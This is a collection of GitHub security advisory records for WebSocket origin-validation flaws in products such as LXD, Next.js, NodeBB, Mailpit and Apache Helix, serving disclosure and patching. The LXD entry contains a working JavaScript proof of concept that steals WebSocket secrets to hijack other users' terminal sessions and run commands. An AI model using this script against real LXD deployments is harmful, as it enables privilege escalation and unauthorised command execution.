CWE-1385

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        "title": "CISA ADP Vulnrichment"
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          "product": "Chatbot",
          "vendor": "CBOT",
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          "tags": [
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          "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-23-0293"
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              "value": "Update the\u0026nbsp;Core to \u0026gt;= v4.0.3.4 and the Panel to \u0026gt;= v4.0.3.7 ."
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          ],
          "value": "Update the\u00a0Core to \u003e= v4.0.3.4 and the Panel to \u003e= v4.0.3.7 ."
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        "advisory": "TR-23-0293",
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        "discovery": "USER"
      },
      "title": "Cross-Site WebSocket Hijacking in CBOT\u0027s Chatbot",
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            "url": "https://github.com/lukehutch/gribbit/commit/620418df247aebda3dd4be1dda10fe229ea505dd"
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          "value": "A vulnerability was found in lukehutch Gribbit. It has been classified as problematic. Affected is the function messageReceived of the file src/gribbit/request/HttpRequestHandler.java. The manipulation leads to missing origin validation in websockets. The name of the patch is 620418df247aebda3dd4be1dda10fe229ea505dd. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217716."
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          "lang": "de",
          "value": "Es wurde eine problematische Schwachstelle in lukehutch Gribbit ausgemacht. Hiervon betroffen ist die Funktion messageReceived der Datei src/gribbit/request/HttpRequestHandler.java. Durch Manipulation mit unbekannten Daten kann eine missing origin validation in websockets-Schwachstelle ausgenutzt werden. Der Patch wird als 620418df247aebda3dd4be1dda10fe229ea505dd bezeichnet. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
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          "url": "https://github.com/lukehutch/gribbit/commit/620418df247aebda3dd4be1dda10fe229ea505dd"
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          "time": "2023-01-09T00:00:00.000Z",
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          "time": "2023-01-09T01:00:00.000Z",
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          "lang": "en",
          "time": "2023-01-30T15:34:58.000Z",
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      "title": "lukehutch Gribbit HttpRequestHandler.java messageReceived missing origin validation in websockets"
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  "aliases": [
    "CVE-2023-2886"
  ],
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    "cwe_ids": [
      "CWE-1385",
      "CWE-346"
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    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-25T09:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Missing Origin Validation in WebSockets vulnerability in CBOT Chatbot allows Content Spoofing Via Application API Manipulation.This issue affects Chatbot: before Core: v4.0.3.4 Panel: v4.0.3.7.\n\n",
  "id": "GHSA-2f92-w7w3-5wxq",
  "modified": "2023-11-02T03:30:25Z",
  "published": "2023-05-25T09:30:26Z",
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      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2886"
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      "url": "https://www.usom.gov.tr/bildirim/tr-23-0293"
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      "type": "CVSS_V3"
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{
  "affected": [],
  "aliases": [
    "CVE-2026-57111"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
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    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T08:16:48Z",
    "severity": "HIGH"
  },
  "details": "Permissive Cross-Origin Resource Sharing (CORS) in the REST API (helix-rest, org.apache.helix.rest.server.filters.CORSFilter) in Apache Helix through 2.0.0 on all platforms allows a remote attacker controlling a web page visited by an authorized user to read responses from and issue cross-origin requests to administrative REST endpoints via a cross-origin request from an arbitrary origin, since the filter unconditionally returns Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true and reflects arbitrary Access-Control-Request-Method / Access-Control-Request-Headers values in preflight responses. Users are recommended to upgrade to version 2.0.1, which fixes this issue.",
  "id": "GHSA-2h97-jww5-mwvc",
  "modified": "2026-07-09T15:32:29Z",
  "published": "2026-07-09T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57111"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/wy2yv90lvqzx46vkg35xrtfddffq9cfj"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/08/11"
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      "type": "CVSS_V3"
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{
  "affected": [],
  "aliases": [
    "CVE-2026-1692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T08:16:18Z",
    "severity": "MODERATE"
  },
  "details": "A missing origin validation in WebSockets vulnerability affects the GraphicalData web services used by the WebVue, WebScheduler, TouchVue and SnapVue features of PcVue in version 12.0.0 through 16.3.3 included. It might allow a remote attacker to lure a successfully authenticated user to a malicious website.\n\nThis vulnerability only affects the following two endpoints: GraphicalData/js/signalR/connect and GraphicalData/js/signalR/reconnect.",
  "id": "GHSA-3fqx-3cg9-chg9",
  "modified": "2026-03-12T15:30:22Z",
  "published": "2026-02-26T09:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1692"
    },
    {
      "type": "WEB",
      "url": "https://www.pcvue.com/security/#SB2026-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
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      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:Clear",
      "type": "CVSS_V4"
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{
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      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
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            {
              "fixed": "0.0.0-20250827065555-0494f5d47e41"
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          "type": "ECOSYSTEM"
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  "aliases": [
    "CVE-2025-54289"
  ],
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    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-02T21:19:29Z",
    "nvd_published_at": "2025-10-02T10:15:39Z",
    "severity": "HIGH"
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  "details": "### Impact\nLXD\u0027s operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.\n\nTherefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim\u0027s privileges.\n\n### Reproduction Steps\n\n1. Log in to LXD-UI using an account with read-only permissions\n2. Open browser DevTools and execute the following JavaScript code\n\nNote that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.\n\n```js\n(async () =\u003e {\nclass LXDEventsSession {\nconstructor(callback) {\nthis.wsBase =\n`wss://${window.location.host}/1.0/events?type=operation\u0026all-p\nrojects=true`;\nthis.eventsConn = new WebSocket(this.wsBase);\nthis.eventsConn.onopen = (event) =\u003e {\nconsole.log(\u0027Events conn Opened\u0027);\n};\nthis.eventsConn.onmessage = (event) =\u003e {\ncallback(event);\n};\n}}\nclass LXDWebSocketSession {\nconstructor(operationId, secrets) {\nthis.operationId = operationId;\nthis.secrets = secrets;\nthis.wsBase =\n`wss://${window.location.host}/1.0/operations/${operationId}/w\nebsocket`;\nthis.connections = {};\nthis.connections.data = new\nWebSocket(`${this.wsBase}?secret=${this.secrets[\u00270\u0027]}`);\nthis.connections.data.onopen = (event) =\u003e {\nconsole.log(\u0027Data Opened\u0027);\nthis.connections.data.send(new\nTextEncoder().encode(\u0027touch /tmp/xxx\\r\u0027));\n}\nthis.connections.data.onmessage = (event) =\u003e {\nconsole.log(\u0027[Data]\u0027, event.data);\n};\nthis.connections.control = new\nWebSocket(`${this.wsBase}?secret=${this.secrets.control}`);\nthis.connections.control.onopen = (event) =\u003e {\nconsole.log(\u0027Control Opened\u0027);\n}\nthis.connections.control.onmessage = (event) =\u003e {\nconsole.log(\u0027[Control]\u0027, event.data);\n};\n}\nclose() {\nObject.values(this.connections).forEach(ws =\u003e {\nif (ws.readyState === WebSocket.OPEN) {\nws.close();\n}\n});\n}\n}\nconst sessions = [];\nnew LXDEventsSession( (event) =\u003e {\nconst op = JSON.parse(event.data);\nconst opId = op.metadata.id;const secrets = op.metadata.metadata.fds;\nfor(const session of sessions){\nif(session.operationId === opId){\nreturn;\n}\n}\nsessions.push(new LXDWebSocketSession(opId, secrets))\n});\n})();\n```\n\n5. Have another user (or yourself for testing) start a terminal or console session on an instance\nAt this time, whoever uses the secret first gains session rights, so it\u0027s recommended to intentionally slow down communication speed using DevTools\u0027 bandwidth throttling feature for verification.\n6. Refresh the attacker\u0027s browser tab to stop event listening\n7. Have the victim reopen their terminal/console session and verify:\n\n```\n$ ls -la /tmp/xxx\n```\n\n### Risk\nAttack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.\n\n### Countermeasures\nAs a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.\n\nSpecifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.\n\n### Patches\n\n| LXD Series  | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5  |\n| 5.21 | Fixed in LXD 5.21.4  |\n| 5.0 | Ignored - Not critical |\n| 4.0  | Ignored - EOL and not critical |\n\n### References\nReported by GMO Flatt Security Inc.",
  "id": "GHSA-3g72-chj4-2228",
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  "published": "2025-10-02T21:19:29Z",
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      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
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    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3999"
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  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0.0"
            },
            {
              "fixed": "15.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0"
            },
            {
              "fixed": "14.2.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T21:52:13Z",
    "nvd_published_at": "2025-05-30T04:15:48Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nA low-severity vulnerability in **Next.js** has been fixed in **version 15.2.2**. This issue may have allowed limited source code exposure when the dev server was running with the App Router enabled. The vulnerability only affects local development environments and requires the user to visit a malicious webpage while `npm run dev` is active.\n\nBecause the mitigation is potentially a breaking change for some development setups, to opt-in to the fix, you must configure `allowedDevOrigins` in your next config after upgrading to a patched version. [Learn more](https://nextjs.org/docs/app/api-reference/config/next-config-js/allowedDevOrigins).\n\nLearn more: https://vercel.com/changelog/cve-2025-48068\n\n## Credit\n\nThanks to [sapphi-red](https://github.com/sapphi-red) and [Radman Siddiki](https://github.com/R4356th) for responsibly disclosing this issue.",
  "id": "GHSA-3h52-269p-cp9r",
  "modified": "2025-06-13T14:41:21Z",
  "published": "2025-05-28T21:52:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-3h52-269p-cp9r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48068"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/next.js"
    },
    {
      "type": "WEB",
      "url": "https://vercel.com/changelog/cve-2025-48068"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Information exposure in Next.js dev server due to lack of origin verification"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-32264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-08T21:15:06Z",
    "severity": "MODERATE"
  },
  "details": "CWE-1385 vulnerability in OpenText Documentum D2 affecting versions16.5.1 to CE 23.2. The vulnerability\u00a0could allow upload arbitrary code and execute it on the client\u0027s computer.\n\n\n",
  "id": "GHSA-3q9p-96fp-f2w2",
  "modified": "2024-03-08T21:31:30Z",
  "published": "2024-03-08T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32264"
    },
    {
      "type": "WEB",
      "url": "https://support.opentext.com/csm?id=kb_article_view\u0026sysparm_article=KB0799355"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodebb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodebb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-2850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-25T18:04:28Z",
    "nvd_published_at": "2023-07-25T12:15:10Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nPrivate messages or posts might be leaked to third parties if victim opens the attackers site while browsing nodebb.\n\n### Patches\n\n* Patched in v3.1.3\n* Backported to v2.x line via v2.8.13\n\n### Workarounds\n\nUsers can cherry-pick https://github.com/NodeBB/NodeBB/commit/51096ad2345fb1d1380bec0a447113489ef6c359 if they are on v3.x\n\nIf you are running v2.x of NodeBB, you can cherry-pick a5d92da9ddac5607ab7f737520a66eaed6d3ddee followed by 62e162cf1e735e42462be1db9b4954b5a69accdf\n",
  "id": "GHSA-4qcv-qf38-5j3j",
  "modified": "2023-07-25T18:04:28Z",
  "published": "2023-07-25T18:04:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NodeBB/NodeBB/security/advisories/GHSA-4qcv-qf38-5j3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2850"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NodeBB/NodeBB/commit/51096ad2345fb1d1380bec0a447113489ef6c359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NodeBB/NodeBB/commit/62e162cf1e735e42462be1db9b4954b5a69accdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NodeBB/NodeBB/commit/a5d92da9ddac5607ab7f737520a66eaed6d3ddee"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NodeBB/NodeBB"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NodeBB/NodeBB/releases/tag/v3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unintentional leakage of private information via cross-origin websocket session hijacking"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.6"
            },
            {
              "fixed": "1.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260110031614"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T15:11:42Z",
    "nvd_published_at": "2026-01-10T06:15:51Z",
    "severity": "MODERATE"
  },
  "details": "**Summary**\nThe Mailpit WebSocket server is configured to accept connections from any origin. This lack of Origin header validation introduces a Cross-Site WebSocket Hijacking (CSWSH) vulnerability.\n\nAn attacker can host a malicious website that, when visited by a developer running Mailpit locally, establishes a WebSocket connection to the victim\u0027s Mailpit instance (default ws://localhost:8025). This allows the attacker to intercept sensitive data such as email contents, headers, and server statistics in real-time.\n\n**Vulnerable Code**\nThe vulnerability exists in server/websockets/client.go where the CheckOrigin function is explicitly set to return true for all requests, bypassing standard Same-Origin Policy (SOP) protections provided by the gorilla/websocket library.\n\nhttps://github.com/axllent/mailpit/blob/877a9159ceeaf380d5bb0e1d84017b24d2e7b361/server/websockets/client.go#L34-L39\n\n**Impact**\nThis vulnerability impacts the Confidentiality of the data stored in or processed by Mailpit.\nAlthough Mailpit is often used as a local development tool, this vulnerability allows remote exploitation via a web browser.\n\n- **Scenario**: A developer has Mailpit running at localhost:8025.\n- **Trigger**: The developer visits a malicious website (or a compromised legitimate site) in the same browser.\n- **Exploitation**: The malicious site\u0027s JavaScript initiates a WebSocket connection to ws://localhost:8025/api/events. Since the origin check is disabled, the browser allows this cross-origin connection.\n- **Data Leak**: The attacker receives all broadcasted events, including full email details (subjects, sender/receiver info) and server metrics.\n\n**Attack Impact**\n- Real-time notification of new emails\n- Email metadata (sender, subject, recipients)\n- Mailbox statistics\n- All WebSocket broadcast data\n\n**Recommended Fix**\nThe `CheckOrigin` function should be removed to allow gorilla/websocket to enforce its default safe behavior (checking that the Origin matches the Host). Alternatively, strict validation logic should be implemented.\n\n**Proposed Change (Remove unsafe check):**\n\n```go\nvar upgrader = websocket.Upgrader{\n    ReadBufferSize:    1024,\n    WriteBufferSize:   1024,\n    // CheckOrigin: func(r *http.Request) bool { return true }, // REMOVED\n    EnableCompression: true,\n}\n```\n\n**Proof of Concept (PoC)**: To reproduce this vulnerability:\n\n- Start Mailpit (default settings).\n- Save the following HTML code as poc.html and serve it from a different origin (e.g., using python http.server on port 8000 or opening it directly as a file).\n- Open the [poc_websocket_hijack.html](https://github.com/user-attachments/files/24522726/poc_websocket_hijack.html) file in your browser.\n- Send a test email to Mailpit or perform any action in the Mailpit UI.\n- Observe that the \"malicious\" page successfully receives the event data.",
  "id": "GHSA-524m-q5m7-79mm",
  "modified": "2026-01-13T15:11:42Z",
  "published": "2026-01-13T15:11:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-524m-q5m7-79mm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22689"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/commit/6f1f4f34c98989fd873261018fb73830b30aec3f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit is vulnerable to Cross-Site WebSocket Hijacking (CSWSH) allowing unauthenticated access to emails"
}